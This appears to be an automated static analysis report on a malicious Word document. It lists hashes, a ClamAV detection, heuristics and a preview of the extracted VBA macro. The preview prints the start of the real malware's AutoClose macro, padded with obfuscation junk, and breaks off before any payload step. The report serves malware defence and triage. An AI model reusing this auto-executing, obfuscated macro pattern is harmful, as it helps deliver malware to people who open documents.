Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 63a09a714a22d262…

MALICIOUS

Office (OLE)

196.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: e7df69bde30b08ca35d2bfa1c5711a46 SHA-1: 83e0e3832f9825af9a66d44f3e13467e9d301aec SHA-256: 63a09a714a22d262e0ea097509e2885f62b01efc43fbbf51e00a651c960b9c6a
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Pwshell-6700199-0. Static analysis revealed a legacy WordBasic AutoClose macro, indicating an attempt to execute code automatically when the document is closed. The macro's obfuscated nature and the presence of legacy markers suggest it is designed to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 5

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 82866 bytes
SHA-256: fe893ed269101ecb4af5e96daad0d2ae2113c09bb323581620502d45e657d2a8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const xUGYCArITAbariletodihERwoGYxYfEPyv = 0
Sub AutoClose()
On Error Resume Next
Dim jehIFQuzeXIBDYbeZyhojezIbXaBakESi(5)

If LenB("FYXotWsyFnYQIco") < 53198 Then
jehIFQuzeXIBDYbeZyhojezIbXaBakESi(0) = VarType(Sqr(5319) + CInt("5319"))
End If
jehIFQuzeXIBDYbeZyhojezIbXaBakESi(1) = LTrim("FYXotWsyFnYQIco") & "88"
jehIFQuzeXIBDYbeZyhojezIbXaBakESi(2) = Day(53195319)

If Len("jehIFQuzeXIBDYbeZyhojezIbXaBakESi") < Len("FYXotWsyFnYQIco") Then
jehIFQuzeXIBDYbeZyhojezIbXaBakESi(3) = Weekday(53198)
End If
Dim IWOfyJOguCucIFEjUJiKilYjUPAhYXOgYRYzeBr(5)

If LenB("mijIXaRoaYQUcoXEWuc") < 47648 Then
IWOfyJOguCucIFEjUJiKilYjUPAhYXOgYRYzeBr(0) = VarType(Sqr(4764) + CInt("4764"))
End If
IWOfyJOguCucIFEjUJiKilYjUPAhYXOgYRYzeBr(1) = LTrim("mijIXaRoaYQUcoXEWuc") & "88"
IWOfyJOguCucIFEjUJiKilYjUPAhYXOgYRYzeBr(2) = Day(47644764)

If Len("IWOfyJOguCucIFEjUJiKilYjUPAhYXOgYRYzeBr") < Len("mijIXaRoaYQUcoXEWuc") Then
IWOfyJOguCucIFEjUJiKilYjUPAhYXOgYRYzeBr(3) = Weekday(47648)
End If
Dim petYlylUmOMbePireRaCaaIjIaIxUXEcUNuFyHujekYwo(5)
Dim aACuqOVeKaBIdOdRkIKeBaQFyApAXuQE(5)

If LenB("WaKokAJYNYK") < 67401 Then
aACuqOVeKaBIdOdRkIKeBaQFyApAXuQE(0) = VarType(Sqr(6740) + CInt("6740"))
End If
aACuqOVeKaBIdOdRkIKeBaQFyApAXuQE(1) = LTrim("WaKokAJYNYK") & "11"
aACuqOVeKaBIdOdRkIKeBaQFyApAXuQE(2) = Day(67406740)

If Len("aACuqOVeKaBIdOdRkIKeBaQFyApAXuQE") < Len("WaKokAJYNYK") Then
aACuqOVeKaBIdOdRkIKeBaQFyApAXuQE(3) = Weekday(67401)
End If

If LenB("YgyWKAgyLE") < 83258 Then
Dim RATaKJoZafutEgoCAmEwWOKeDiWIcVaQuhoN(5)

If LenB("hEkOtoBytId") < 18533 Then
RATaKJoZafutEgoCAmEwWOKeDiWIcVaQuhoN(0) = VarType(Sqr(1853) + CInt("1853"))
End If
RATaKJoZafutEgoCAmEwWOKeDiWIcVaQuhoN(1) = LTrim("hEkOtoBytId") & "33"
RATaKJoZafutEgoCAmEwWOKeDiWIcVaQuhoN(2) = Day(18531853)

If Len("RATaKJoZafutEgoCAmEwWOKeDiWIcVaQuhoN") < Len("hEkOtoBytId") Then
RATaKJoZafutEgoCAmEwWOKeDiWIcVaQuhoN(3) = Weekday(18533)
End If
Dim wyzykqekOQEalOEPESIFondeDUhuaUTAmal(5)

If LenB("mEWYzemyBuDiZijA") < 971810 Then
wyzykqekOQEalOEPESIFondeDUhuaUTAmal(0) = VarType(Sqr(9718) + CInt("9718"))
End If
wyzykqekOQEalOEPESIFondeDUhuaUTAmal(1) = LTrim("mEWYzemyBuDiZijA") & "1010"
wyzykqekOQEalOEPESIFondeDUhuaUTAmal(2) = Day(97189718)

If Len("wyzykqekOQEalOEPESIFondeDUhuaUTAmal") < Len("mEWYzemyBuDiZijA") Then
wyzykqekOQEalOEPESIFondeDUhuaUTAmal(3) = Weekday(971810)
End If
petYlylUmOMbePireRaCaaIjIaIxUXEcUNuFyHujekYwo(0) = VarType(Sqr(8325) + CInt("8325"))
Dim CAryMyUSafNyGalApfyy(5)

If LenB("dozONBMTeAloNEd") < 62636 Then
CAryMyUSafNyGalApfyy(0) = VarType(Sqr(6263) + CInt("6263"))
End If
CAryMyUSafNyGalApfyy(1) = LTrim("dozONBMTeAloNEd") & "66"
CAryMyUSafNyGalApfyy(2) = Day(62636263)

If Len("CAryMyUSafNyGalApfyy") < Len("dozONBMTeAloNEd") Then
CAryMyUSafNyGalApfyy(3) = Weekday(62636)
End If
End If
petYlylUmOMbePireRaCaaIjIaIxUXEcUNuFyHujekYwo(1) = LTrim("YgyWKAgyLE") & "88"
Dim dufYcOjUpaipezcoDAWoFEToiy(5)

If LenB("RIViQLANOLaHity") < 6985 Then
dufYcOjUpaipezcoDAWoFEToiy(0) = VarType(Sqr(698) + CInt("698"))
End If
dufYcOjUpaipezcoDAWoFEToiy(1) = LTrim("RIViQLANOLaHity") & "55"
dufYcOjUpaipezcoDAWoFEToiy(2) = Day(698698)

If Len("dufYcOjUpaipezcoDAWoFEToiy") < Len("RIViQLANOLaHity") Then
dufYcOjUpaipezcoDAWoFEToiy(3) = Weekday(6985)
End If
Dim xuwynUqOhILyWATpOwOhECFayrIzAceNARYBUjavAVos(5)

If LenB("JiLOTUQYXOquVAadiBYGON") < 49876 Then
xuwynUqOhILyWATpOwOhECFayrIzAceNARYBUjavAVos(0) = VarType(Sqr(4987) + CInt("4987"))
End If
xuwynUqOhILyWATpOwOhECFayrIzAceNARYBUjavAVos(1) = LTrim("JiLOTUQYXOquVAadiBYGON") & "66"
xuwynUqOhILyWATpOwOhECFayrIzAceNARYBUjavAVos(2) = Day(49874987)

If Len("xuwynUqOhILyWATpOwOhECFayrIzAceNARYBUjavAVos") < Len("JiLOTUQYXOquVAadiBYGON") Then
xuwynUqOhILyWATpOwOhECFayrIzAceNARYBUjavAVos(3) = Weekd
... (truncated)

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